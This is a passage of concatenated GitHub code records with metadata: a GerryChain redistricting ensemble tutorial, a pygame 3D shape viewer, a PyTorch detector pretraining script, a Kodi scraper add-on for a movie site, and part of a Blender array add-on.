Election(\"SEN16\", {\"Democratic\": \"T16SEND\", \"Republican\": \"T16SENR\"}),\r\n Election(\"PRES12\", {\"Democratic\": \"PRES12D\", \"Republican\": \"PRES12R\"}),\r\n Election(\"PRES16\", {\"Democratic\": \"T16PRESD\", \"Republican\": \"T16PRESR\"})\r\n]\r\n\r\n#### Configuring our updaters\r\n#### We want to set up updaters for everything we want to compute for each plan\r\n#### in the ensemble.\r\n\r\n# Population updater, for computing how close to equality the district\r\n# populations are. \"TOT_POP\" is the population column from our shapefile.\r\nmy_updaters = {\"population\": updaters.Tally(\"TOT_POP\", alias=\"population\")}\r\n\r\n# Election updaters, for computing election results using the vote totals\r\n# from our shapefile.\r\nelection_updaters = {election.name: election for election in elections}\r\nmy_updaters.update(election_updaters)\r\n\r\n#### Instantiating the partition\r\n#### We can now instantiate the initial state of our Markov chain, using the 2011 districting plan:\r\n\r\ninitial_partition = GeographicPartition(graph,\r\n assignment=\"2011_PLA_1\",\r\n updaters=my_updaters)\r\n\r\n#### GeographicPartition comes with built-in area and perimeter updaters. We do\r\n#### not use them here, but they would allow us to compute compactness scores\r\n#### like Polsby-Popper that depend on these measurements.\r\n\r\n\r\n#### Setting up the Markov chain\r\n#### Proposal\r\n#### First we’ll set up the ReCom proposal. We need to fix some parameters\r\n#### using functools.partial before we can use it as our proposal function.\r\n\r\n# The ReCom proposal needs to know the ideal population for the districts so that\r\n# we can improve speed by bailing early on unbalanced partitions.\r\n\r\nideal_population = sum(initial_partition[\"population\"].values()) / len(initial_partition)\r\n\r\n# We use functools.partial to bind the extra parameters (pop_col, pop_target, epsilon, node_repeats)\r\n# of the recom proposal.\r\nproposal = partial(recom,\r\n pop_col=\"TOT_POP\",\r\n pop_target=ideal_population,\r\n epsilon=0.02,\r\n node_repeats=2\r\n )\r\n\r\n#### Constraints\r\n#### To keep districts about as compact as the original plan, we bound the\r\n#### number of cut edges at 2 times the number of cut edges in the initial\r\n#### plan.\r\n\r\ncompactness_bound = constraints.UpperBound(\r\n lambda p: len(p[\"cut_edges\"]),\r\n 2*len(initial_partition[\"cut_edges\"])\r\n)\r\n\r\npop_constraint = constraints.within_percent_of_ideal_population(initial_partition, 0.02)\r\n\r\n#### Configuring the Markov chain\r\nchain = MarkovChain(\r\n proposal=proposal,\r\n constraints=[\r\n pop_constraint,\r\n compactness_bound\r\n ],\r\n accept=accept.always_accept,\r\n initial_state=initial_partition,\r\n total_steps=1000\r\n)\r\n\r\n#### Running the chain\r\n#### Now we’ll run the chain, putting the sorted Democratic vote percentages\r\n#### directly into a pandas DataFrame for analysis and plotting. The DataFrame\r\n#### will have a row for each state of the chain. The first column of the\r\n#### DataFrame will hold the lowest Democratic vote share among the districts\r\n#### in each partition in the chain, the second column will hold the\r\n#### second-lowest Democratic vote shares, and so on.\r\n\r\n# This will take about 10 minutes.\r\n\r\n\r\n#data = pd.DataFrame(\r\n# sorted(partition[\"SEN12\"].percents(\"Democratic\"))\r\n# for partition in chain\r\n#)\r\n\r\n#### If you install the tqdm package, you can see a progress bar as the chain\r\n#### runs by running this code instead:\r\n\r\ndata = pd.DataFrame(\r\n sorted(partition[\"SEN12\"].percents(\"Democratic\"))\r\n for partition in chain.with_progress_bar()\r\n)\r\n\r\n\r\n#### Create a plot\r\n#### Now we’ll create a box plot similar to those appearing the Virginia report.\r\n\r\nfig, ax = plt.subplots(figsize=(8, 6))\r\n\r\n# Draw 50% line\r\nax.axhline(0.5, color=\"#cccccc\")\r\n\r\n# Draw boxplot\r\ndata.boxplot(ax=ax, positions=range(len(data.columns)))\r\n\r\n# Draw initial plan's Democratic vote %s (.iloc[0] gives the first row)\r\ndata.iloc[0].plot(style=\"ro\", ax=ax)\r\n\r\n# Annotate\r\nax.set_title(\"Comparing the 2011 plan to an ensemble\")\r\nax.set_ylabel(\"Democratic vote % (Senate 2012)\")\r\nax.set_xlabel(\"Sorted districts\")\r\nax.set_ylim(0, 1)\r\nax.set_yticks([0, 0.25, 0.5, 0.75, 1])\r\n\r\nplt.show()\r\n\r\n#### There you go! To build on this, here are some possible next steps:\r\n\r\n#### Add, remove, or tweak the constraints\r\n#### Use a different proposal from GerryChain, or create your own\r\n#### Perform a similar analysis on a different districting plan for Pennsylvania\r\n#### Perform a similar analysis on a different state\r\n#### Compute partisan symmetry scores like Efficiency Gap or Mean-Median, and create a histogram of the scores of the ensemble.\r\n#### Perform the same analysis using a different election than the 2012 Senate election\r\n#### Collect Democratic vote percentages for _all_ the elections we set up, instead of just the 2012 Senate election.\r\n", "repo_name": "hangulu/gerryintro", "sub_path": "gerrychain_sample.py", "file_name": "gerrychain_sample.py", "file_ext": "py", "file_size_in_byte": 11235, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "gerrychain.Graph.from_file", "line_number": 44, "usage_type": "call"}, {"api_name": "gerrychain.Graph", "line_number": 44, "usage_type": "name"}, {"api_name": "gerrychain.Election", "line_number": 61, "usage_type": "call"}, {"api_name": "gerrychain.Partition", "line_number": 66, "usage_type": "call"}, {"api_name": "gerrychain.updaters.cut_edges", "line_number": 70, "usage_type": "name"}, {"api_name": "gerrychain.updaters.Tally", "line_number": 71, "usage_type": "call"}, {"api_name": "gerrychain.MarkovChain", "line_number": 94, "usage_type": "call"}, {"api_name": "gerrychain.proposals.propose_random_flip", "line_number": 95, "usage_type": "name"}, {"api_name": "gerrychain.constraints.single_flip_contiguous", "line_number": 96, "usage_type": "name"}, {"api_name": "gerrychain.accept.always_accept", "line_number": 97, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "gerrychain.Election", "line_number": 154, "usage_type": "call"}, {"api_name": "gerrychain.Election", "line_number": 155, "usage_type": "call"}, {"api_name": "gerrychain.Election", "line_number": 156, "usage_type": "call"}, {"api_name": "gerrychain.Election", "line_number": 157, "usage_type": "call"}, {"api_name": "gerrychain.Election", "line_number": 158, "usage_type": "call"}, {"api_name": "gerrychain.updaters.Tally", "line_number": 167, "usage_type": "call"}, {"api_name": "gerrychain.updaters", "line_number": 167, "usage_type": "name"}, {"api_name": "gerrychain.GeographicPartition", "line_number": 177, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 198, "usage_type": "call"}, {"api_name": "gerrychain.tree_proposals.recom", "line_number": 198, "usage_type": "argument"}, {"api_name": "gerrychain.constraints.UpperBound", "line_number": 210, "usage_type": "call"}, {"api_name": "gerrychain.constraints", "line_number": 210, "usage_type": "name"}, {"api_name": "gerrychain.constraints.within_percent_of_ideal_population", "line_number": 215, "usage_type": "call"}, {"api_name": "gerrychain.constraints", "line_number": 215, "usage_type": "name"}, {"api_name": "gerrychain.MarkovChain", "line_number": 218, "usage_type": "call"}, {"api_name": "gerrychain.accept.always_accept", "line_number": 224, "usage_type": "attribute"}, {"api_name": "gerrychain.accept", "line_number": 224, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 248, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 257, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 257, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 275, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 275, "usage_type": "name"}]} {"seq_id": "5379103458", "text": "import pygame as pg\r\nimport numpy as np\r\nimport objct\r\nimport cam\r\nimport matrixs\r\n\r\ndef gen_fig(size, height):\r\n points = [[0,height,0]]\r\n l = np.sqrt(size*size / 0.5857)\r\n pn = np.array([l,0,0,1])\r\n p = [pn[0],pn[1],pn[2]]\r\n points.append(p)\r\n rotate = matrixs.rotate_y(np.pi/4)\r\n for i in range(7):\r\n pn = pn @ rotate\r\n p = [pn[0],pn[1],pn[2]]\r\n points.append(p)\r\n faces = [[1,2,0],[2,3,0],[3,4,0],[4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,1,0],[8,7,6,5,4,3,2,1]]\r\n return objct.Object(points,faces)\r\n \r\nclass scale_bar:\r\n def __init__(self,screen,posx,posy,width,height):\r\n self.x = posx\r\n self.y = posy\r\n self.width = width\r\n self.height = height\r\n self.pos = 1\r\n self.screen = screen\r\n\r\n def check_res(self):\r\n if pg.mouse.get_pressed()[0] != 0:\r\n mouse_pos = pg.mouse.get_pos()\r\n if(mouse_pos[0] > self.x and mouse_pos[0] < self.x + self.width and mouse_pos[1] > self.y and mouse_pos[1] < self.y + self.height):\r\n self.pos = mouse_pos[0] - self.x\r\n pg.draw.rect(self.screen,'black',pg.Rect(self.x,self.y + self.height/2-3,self.width,3))\r\n pg.draw.rect(self.screen,'red',pg.Rect(self.x + self.pos, self.y,10,self.height))\r\n return self.pos/self.width\r\n\r\n\r\n\r\nclass Program:\r\n def __init__(self):\r\n pg.init()\r\n self.RES = self.WIDTH, self.HEIGHT = 1600, 900\r\n self.FPS = 60\r\n self.screen = pg.display.set_mode(self.RES)\r\n self.clock = pg.time.Clock()\r\n self.camera = cam.Camera(self.screen,self.HEIGHT,self.WIDTH)\r\n pg.display.set_caption('Main')\r\n pg.font.init()\r\n self.font = pg.font.SysFont('Hack', 24)\r\n \r\n\r\n def draw(self):\r\n self.screen.fill('azure3')\r\n \r\n\r\n def run(self):\r\n\r\n \r\n scale1 = scale_bar(self.screen,self.WIDTH - 230,30,200,30)\r\n scale2 = scale_bar(self.screen,self.WIDTH - 230,70,200,30)\r\n textsurface1 = self.font.render('a', False, (0, 0, 0))\r\n textsurface2 = self.font.render('h', False, (0, 0, 0))\r\n a = scale1.check_res() * 20\r\n h = scale2.check_res() * 20\r\n while True:\r\n ob1 = gen_fig(a,h)\r\n self.camera.Control()\r\n self.draw()\r\n self.camera.Draw_obj(ob1)\r\n a = scale1.check_res() * 10\r\n h = scale2.check_res() * 20\r\n [exit() for i in pg.event.get() if i.type == pg.QUIT]\r\n self.screen.blit(textsurface1,(self.WIDTH - 250,30))\r\n self.screen.blit(textsurface2,(self.WIDTH - 250,70))\r\n pg.display.flip()\r\n self.clock.tick(self.FPS)\r\n\r\n\r\nif __name__ == '__main__':\r\n pr = Program()\r\n pr.run()", "repo_name": "gametwix/MAI", "sub_path": "3_course/CG/Lab2/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2757, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.sqrt", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 10, "usage_type": "call"}, {"api_name": "matrixs.rotate_y", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 13, "usage_type": "attribute"}, {"api_name": "objct.Object", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.mouse.get_pressed", "line_number": 31, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 32, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 35, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 35, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 36, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 36, "usage_type": "call"}, {"api_name": "pygame.init", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 46, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 47, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 47, "usage_type": "attribute"}, {"api_name": "cam.Camera", "line_number": 48, "usage_type": "call"}, {"api_name": "pygame.display.set_caption", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pygame.font.init", "line_number": 50, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 51, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 74, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 74, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 74, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 77, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 77, "usage_type": "attribute"}]} {"seq_id": "42654406469", "text": "\"\"\"\nOptional step of pretrained the detector.\nBased on http://pytorch.org/tutorials/intermediate/torchvision_tutorial.html.\n\"\"\"\n\nimport os\nimport sys\nimport torch\n\nimport torchvision\nfrom torchvision.models.detection.faster_rcnn import FastRCNNPredictor\n\nfrom detector.engine import train_one_epoch\nimport detector.utils as utils\nimport detector.transforms as T\nfrom dataloaders.visual_genome import VG\nfrom PIL import Image\nfrom lib.pytorch_misc import save_checkpoint, get_smallest_lr\nfrom config import BOX_SCALE\n\nVG.split = sys.argv[1]\ndata_dir = sys.argv[2]\nsave_dir = sys.argv[3]\ncheckpoint_name = '%s_maskrcnn_res50fpn.pth' % VG.split\n\n\nif not os.path.exists(save_dir):\n if len(save_dir) == 0:\n raise ValueError(\"save_dir must be a valid path\")\n os.mkdir(save_dir)\n\n\nclass VGLoader(VG):\n def __init__(self, mode, data_dir, transforms):\n super(VGLoader, self).__init__(mode, data_dir, num_val_im=5000, filter_duplicate_rels=True,\n min_graph_size=-1,\n max_graph_size=-1,\n filter_non_overlap=False)\n self.transforms = transforms\n\n\n def __getitem__(self, idx):\n index = idx\n\n img = Image.open(os.path.join(self.images_dir, self.filenames[index])).convert('RGB')\n w, h = img.size\n\n gt_boxes = self.gt_boxes[index].copy()\n\n if VG.split == 'stanford':\n # makes boxes scale the same as images\n gt_boxes = gt_boxes / (BOX_SCALE / max(w, h))\n\n if self.is_train:\n # crop boxes that are too large.\n gt_boxes[:, [1, 3]] = gt_boxes[:, [1, 3]].clip(None, h)\n gt_boxes[:, [0, 2]] = gt_boxes[:, [0, 2]].clip(None, w)\n\n if VG.split in ['vte', 'gqa']:\n # width, height can become zero after clipping (need to double-check why)\n ind_zero = (gt_boxes[:, 2] - gt_boxes[:, 0]) == 0 & (gt_boxes[:, 0] > 0) # x1 == x2 and x1 > 0\n gt_boxes[ind_zero, 0] -= 1\n ind_zero = (gt_boxes[:, 3] - gt_boxes[:, 1]) == 0 & (gt_boxes[:, 1] > 0) # y1 == y2 and y1 > 0\n gt_boxes[ind_zero, 1] -= 1\n\n gt_boxes = torch.as_tensor(gt_boxes, dtype=torch.float32)\n\n target = {}\n target[\"boxes\"] = gt_boxes\n target[\"labels\"] = torch.from_numpy(self.gt_classes[index]).long()\n # target[\"masks\"] = masks # no mask annotations\n target[\"image_id\"] = torch.tensor([idx])\n target[\"area\"] = (gt_boxes[:, 3] - gt_boxes[:, 1]) * (gt_boxes[:, 2] - gt_boxes[:, 0])\n target[\"iscrowd\"] = torch.zeros((len(self.gt_classes[index]),), dtype=torch.int64) # suppose all instances are not crowd\n\n if self.transforms is not None:\n img, target = self.transforms(img, target)\n\n return img, target\n\n\ndef get_model_optimizer(num_classes):\n # load an instance segmentation model pre-trained pre-trained on COCO\n model = torchvision.models.detection.maskrcnn_resnet50_fpn(pretrained=True)\n\n # get number of input features for the classifier\n in_features = model.roi_heads.box_predictor.cls_score.in_features\n # replace the pre-trained head with a new one\n model.roi_heads.box_predictor = FastRCNNPredictor(in_features, num_classes)\n\n # now get the number of input features for the mask classifier\n model.roi_heads.mask_predictor = None # no masks in these datasets\n\n # construct an optimizer\n params = [p for p in model.parameters() if p.requires_grad]\n optimizer = torch.optim.SGD(params, lr=0.005, # didn't tune these values but looks good\n momentum=0.9, weight_decay=0.0005)\n\n start_epoch = -1\n if os.path.exists(checkpoint_name):\n print('loading the model and optimizer state from %s' % checkpoint_name)\n state_dict = torch.load(checkpoint_name)\n model.load_state_dict(state_dict['state_dict'])\n optimizer.load_state_dict(state_dict['optimizer'])\n start_epoch = state_dict['epoch']\n\n return model, optimizer, start_epoch\n\n\ndef get_transform(train):\n transforms = []\n transforms.append(T.ToTensor())\n if train:\n transforms.append(T.RandomHorizontalFlip(0.5))\n return T.Compose(transforms)\n\ndef main():\n # train on the GPU or on the CPU, if a GPU is not available\n device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n\n # our dataset has two classes only - background and person\n num_classes = 151 if VG.split == 'stanford' else 1704\n\n # use our dataset and defined transformations\n dataset = VGLoader('train', data_dir, get_transform(train=True))\n # dataset_test = GQALoader('val', get_transform(train=False))\n\n # define training and validation data loaders\n data_loader = torch.utils.data.DataLoader(\n dataset, batch_size=3 if VG.split == 'stanford' else 2, shuffle=True, num_workers=4,\n collate_fn=utils.collate_fn)\n\n # data_loader_test = torch.utils.data.DataLoader(\n # dataset_test, batch_size=1, shuffle=False, num_workers=4,\n # collate_fn=utils.collate_fn)\n\n # get the model using our helper function\n model, optimizer, start_epoch = get_model_optimizer(num_classes)\n print('start_epoch', start_epoch)\n\n # move model to the right device\n model.to(device)\n\n # and a learning rate scheduler\n lr_scheduler = torch.optim.lr_scheduler.StepLR(optimizer,\n step_size=3,\n gamma=0.1)\n # let's train it for 10 epochs\n num_epochs = 10\n\n for epoch in range(start_epoch + 1, num_epochs):\n print('\\nepoch %d, smallest lr %f\\n' % (epoch, get_smallest_lr(optimizer)))\n # train for one epoch, printing every 10 iterations\n train_one_epoch(model, optimizer, data_loader, device, epoch, print_freq=10)\n\n try:\n print(\"\\nCheckpointing to %s\" % os.path.join(save_dir, checkpoint_name))\n save_checkpoint(model, optimizer, os.path.join(save_dir, checkpoint_name), {'epoch': epoch})\n print('done!\\n')\n except Exception as e:\n print('error saving checkpoint', e)\n\n # update the learning rate\n lr_scheduler.step(epoch)\n # evaluate on the test dataset\n # evaluate(model, data_loader_test, device=device) # some issues with evaluation (check coco_eval code)\n\n print(\"That's it!\")\n \nif __name__ == \"__main__\":\n main()\n", "repo_name": "bknyaz/sgg", "sub_path": "pretrain_detector.py", "file_name": "pretrain_detector.py", "file_ext": "py", "file_size_in_byte": 6499, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 111, "dataset": "github-code", "pt": "7", "api": [{"api_name": "dataloaders.visual_genome.VG.split", "line_number": 21, "usage_type": "attribute"}, {"api_name": "dataloaders.visual_genome.VG", "line_number": 21, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 22, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 23, "usage_type": "attribute"}, {"api_name": "dataloaders.visual_genome.VG.split", "line_number": 24, "usage_type": "attribute"}, {"api_name": "dataloaders.visual_genome.VG", "line_number": 24, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 30, "usage_type": "call"}, {"api_name": "dataloaders.visual_genome.VG", "line_number": 33, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 45, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 45, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "dataloaders.visual_genome.VG.split", "line_number": 50, "usage_type": "attribute"}, {"api_name": "dataloaders.visual_genome.VG", "line_number": 50, "usage_type": "name"}, {"api_name": "config.BOX_SCALE", "line_number": 52, "usage_type": "name"}, {"api_name": "dataloaders.visual_genome.VG.split", "line_number": 59, "usage_type": "attribute"}, {"api_name": "dataloaders.visual_genome.VG", "line_number": 59, "usage_type": "name"}, {"api_name": "torch.as_tensor", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 66, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.int64", "line_number": 74, "usage_type": "attribute"}, {"api_name": "torchvision.models.detection.maskrcnn_resnet50_fpn", "line_number": 84, "usage_type": "call"}, {"api_name": "torchvision.models", "line_number": 84, "usage_type": "attribute"}, {"api_name": "torchvision.models.detection.faster_rcnn.FastRCNNPredictor", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 96, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 102, "usage_type": "call"}, {"api_name": "detector.transforms.ToTensor", "line_number": 112, "usage_type": "call"}, {"api_name": "detector.transforms", "line_number": 112, "usage_type": "name"}, {"api_name": "detector.transforms.RandomHorizontalFlip", "line_number": 114, "usage_type": "call"}, {"api_name": "detector.transforms", "line_number": 114, "usage_type": "name"}, {"api_name": "detector.transforms.Compose", "line_number": 115, "usage_type": "call"}, {"api_name": "detector.transforms", "line_number": 115, "usage_type": "name"}, {"api_name": "torch.cuda.is_available", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 119, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 119, "usage_type": "call"}, {"api_name": "dataloaders.visual_genome.VG.split", "line_number": 122, "usage_type": "attribute"}, {"api_name": "dataloaders.visual_genome.VG", "line_number": 122, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 129, "usage_type": "attribute"}, {"api_name": "dataloaders.visual_genome.VG.split", "line_number": 130, "usage_type": "attribute"}, {"api_name": "dataloaders.visual_genome.VG", "line_number": 130, "usage_type": "name"}, {"api_name": "detector.utils.collate_fn", "line_number": 131, "usage_type": "attribute"}, {"api_name": "detector.utils", "line_number": 131, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.StepLR", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 145, "usage_type": "attribute"}, {"api_name": "lib.pytorch_misc.get_smallest_lr", "line_number": 152, "usage_type": "call"}, {"api_name": "detector.engine.train_one_epoch", "line_number": 154, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 157, "usage_type": "call"}, {"api_name": "os.path", "line_number": 157, "usage_type": "attribute"}, {"api_name": "lib.pytorch_misc.save_checkpoint", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path", "line_number": 158, "usage_type": "attribute"}]} {"seq_id": "8044266689", "text": "# -*- coding: utf-8 -*-\n\nimport re\n\nfrom platformcode import config, logger, platformtools\nfrom core.item import Item\nfrom core import httptools, scrapertools, tmdb, servertools\n\n\nhost = 'https://www.pelisplanet.to/'\n\n\ndef item_configurar_proxies(item):\n color_list_proxies = config.get_setting('channels_list_proxies_color', default='red')\n\n color_avis = config.get_setting('notification_avis_color', default='yellow')\n color_exec = config.get_setting('notification_exec_color', default='cyan')\n\n context = []\n\n tit = '[COLOR %s]Información proxies[/COLOR]' % color_avis\n context.append({'title': tit, 'channel': 'helper', 'action': 'show_help_proxies'})\n\n if config.get_setting('channel_pelisplanet_proxies', default=''):\n tit = '[COLOR %s][B]Quitar los proxies del canal[/B][/COLOR]' % color_list_proxies\n context.append({'title': tit, 'channel': item.channel, 'action': 'quitar_proxies'})\n\n tit = '[COLOR %s]Ajustes categoría proxies[/COLOR]' % color_exec\n context.append({'title': tit, 'channel': 'actions', 'action': 'open_settings'})\n\n plot = 'Es posible que para poder utilizar este canal necesites configurar algún proxy, ya que no es accesible desde algunos países/operadoras.'\n plot += '[CR]Si desde un navegador web no te funciona el sitio ' + host + ' necesitarás un proxy.'\n return item.clone( title = 'Configurar proxies a usar ... [COLOR plum](si no hay resultados)[/COLOR]', action = 'configurar_proxies', folder=False, context=context, plot=plot, text_color='red' )\n\ndef quitar_proxies(item):\n from modules import submnuctext\n submnuctext._quitar_proxies(item)\n return True\n\ndef configurar_proxies(item):\n from core import proxytools\n return proxytools.configurar_proxies_canal(item.channel, host)\n\n\ndef do_downloadpage(url, post=None, headers=None):\n # ~ por si viene de enlaces guardados\n ant_hosts = ['https://www.pelisplanet.com/']\n\n for ant in ant_hosts:\n url = url.replace(ant, host)\n\n if not url.startswith(host):\n data = httptools.downloadpage(url, post=post, headers=headers).data\n else:\n data = httptools.downloadpage_proxy('pelisplanet', url, post=post, headers=headers).data\n\n return data\n\n\ndef mainlist(item):\n return mainlist_pelis(item)\n\ndef mainlist_pelis(item):\n logger.info()\n itemlist = []\n\n itemlist.append(item_configurar_proxies(item))\n\n itemlist.append(item.clone( title = 'Buscar película ...', action = 'search', search_type = 'movie', text_color = 'deepskyblue' ))\n\n itemlist.append(item.clone( title = 'Catálogo', action = 'list_all', url = host ))\n\n itemlist.append(item.clone( title = 'Estrenos', action = 'list_all', url = host + 'genero/estrenos/' ))\n\n itemlist.append(item.clone( title = 'Por idioma', action = 'idiomas', search_type = 'movie' ))\n\n itemlist.append(item.clone( title = 'Por género', action = 'generos', search_type = 'movie' ))\n itemlist.append(item.clone( title = 'Por año', action = 'anios', search_type = 'movie' ))\n\n return itemlist\n\n\ndef idiomas(item):\n logger.info()\n itemlist = []\n\n itemlist.append(item.clone( title = 'Castellano', action = 'list_all', url = host + 'idioma/castellano/', text_color='moccasin' ))\n itemlist.append(item.clone( title = 'Latino', action = 'list_all', url = host + 'idioma/latino/', text_color='moccasin' ))\n itemlist.append(item.clone( title = 'Subtitulada', action = 'list_all', url = host + 'idioma/subtitulada/', text_color='moccasin' ))\n itemlist.append(item.clone( title = 'Subtitulado', action = 'list_all', url = host + 'idioma/subtitulado/', text_color='moccasin' ))\n\n return itemlist\n\n\ndef generos(item):\n logger.info()\n itemlist = []\n\n opciones = [\n ('accion', 'Acción'),\n ('adolecentes', 'Adolecentes'),\n ('animacion-e-infantil', 'Animación e Infantil'),\n ('anime', 'Anime'),\n ('artes-marciales', 'Artes Marciales'),\n ('aventura', 'Aventura'),\n ('biografico', 'Biográfico'),\n ('ciencia-ficcion', 'Ciencia Ficcion'),\n ('comedia', 'Comedia'),\n ('crimen', 'Crimen'),\n ('deporte', 'Deporte'),\n ('documental', 'Documental'),\n ('drama', 'Drama'),\n ('familiar', 'Familiar'),\n ('fantasia', 'Fantasia'),\n ('fantastico', 'Fantastico'),\n ('guerra', 'Guerra'),\n ('historica', 'Historica'),\n ('homosexualidad', 'Homosexualidad'),\n ('intriga', 'Intriga'),\n ('misterio', 'Misterio'),\n ('musical', 'Musical'),\n ('navideñas', 'Navideñas'),\n ('religion', 'Religión'),\n ('romance', 'Romance'),\n ('secuela', 'Secuela'),\n ('superheroes', 'Superheroes'),\n ('suspenso', 'Suspenso'),\n ('terror', 'Terror'),\n ('triller', 'Triller'),\n ('uncategorized', 'Uncategorized'),\n ('videojuegos', 'Videojuegos'),\n ('westerns', 'Westerns')\n ]\n\n for opc, tit in opciones:\n itemlist.append(item.clone( title=tit, url= host + 'genero/' + opc + '/', action = 'list_all', text_color = 'deepskyblue' ))\n\n return itemlist\n\n\ndef anios(item):\n logger.info()\n itemlist = []\n\n from datetime import datetime\n current_year = int(datetime.today().year)\n\n for x in range(current_year, 1920, -1):\n itemlist.append(item.clone( title = str(x), url= host + 'fecha-estreno/' + str(x) + '/', action = 'list_all', text_color = 'deepskyblue' ))\n\n return itemlist\n\n\ndef list_all(item): \n logger.info()\n itemlist = []\n\n data = do_downloadpage(item.url)\n data = re.sub(r\"\\n|\\r|\\t|\\(.*?\\)|\\s{2}| \", \"\", data)\n\n data = scrapertools.find_single_match(data, '
(.*?)
')\n\n patron = 'col-sm-5\".*?href=\"([^\"]+)\".+?'\n patron += 'browse-movie-link-qd.*?>([^<]+)([^<]+)

.+?'\n patron += 'title one-line\">([^<]+)

.+?'\n patron += 'img-responsive\" src=\"([^\"]+)\".*?'\n\n matches = re.compile(patron, re.DOTALL).findall(data)\n\n for url, qlty, year, title, thumb in matches:\n itemlist.append(item.clone( action='findvideos', url=url, title=title, thumbnail=thumb, qualities=qlty, contentType='movie', contentTitle=title, infoLabels={'year': year} ))\n\n tmdb.set_infoLabels(itemlist)\n\n if itemlist:\n next_page = scrapertools.find_single_match(data, '')\n\n if next_page:\n itemlist.append(item.clone( title='Siguientes ...', url=next_page, action='list_all', text_color='coral' ))\n\n return itemlist\n\n\ndef findvideos(item):\n logger.info()\n itemlist = []\n\n IDIOMAS = {'Castellano': 'Esp', 'Español Latino': 'Lat', 'Subtitulada': 'Vose'}\n\n data = do_downloadpage(item.url)\n data = re.sub(r\"\\n|\\r|\\t|\\(.*?\\)|\\s{2}| \", \"\", data)\n\n patron = ' 1:\r\n act_obj.data.user_clear()\r\n if self.apply_transform:\r\n bpy.ops.object.transform_apply(location=False, rotation=True, scale=True) \r\n number_of_objects = self.number_of_objects\r\n radius_of_circle = self.radius_of_circle\r\n delete_original = self.delete_original\r\n offset_angle = self.offset_angle\r\n if self.autoAxis:\r\n hub_axis = quantAxis(self,context)\r\n else:\r\n hub_axis = self.hub_axis\r\n if self.merge_objects:\r\n self.create_parent = False\r\n self.linked_data = False\r\n\r\n clearSelection = bpy.ops.object.select_all(action='DESELECT')\r\n 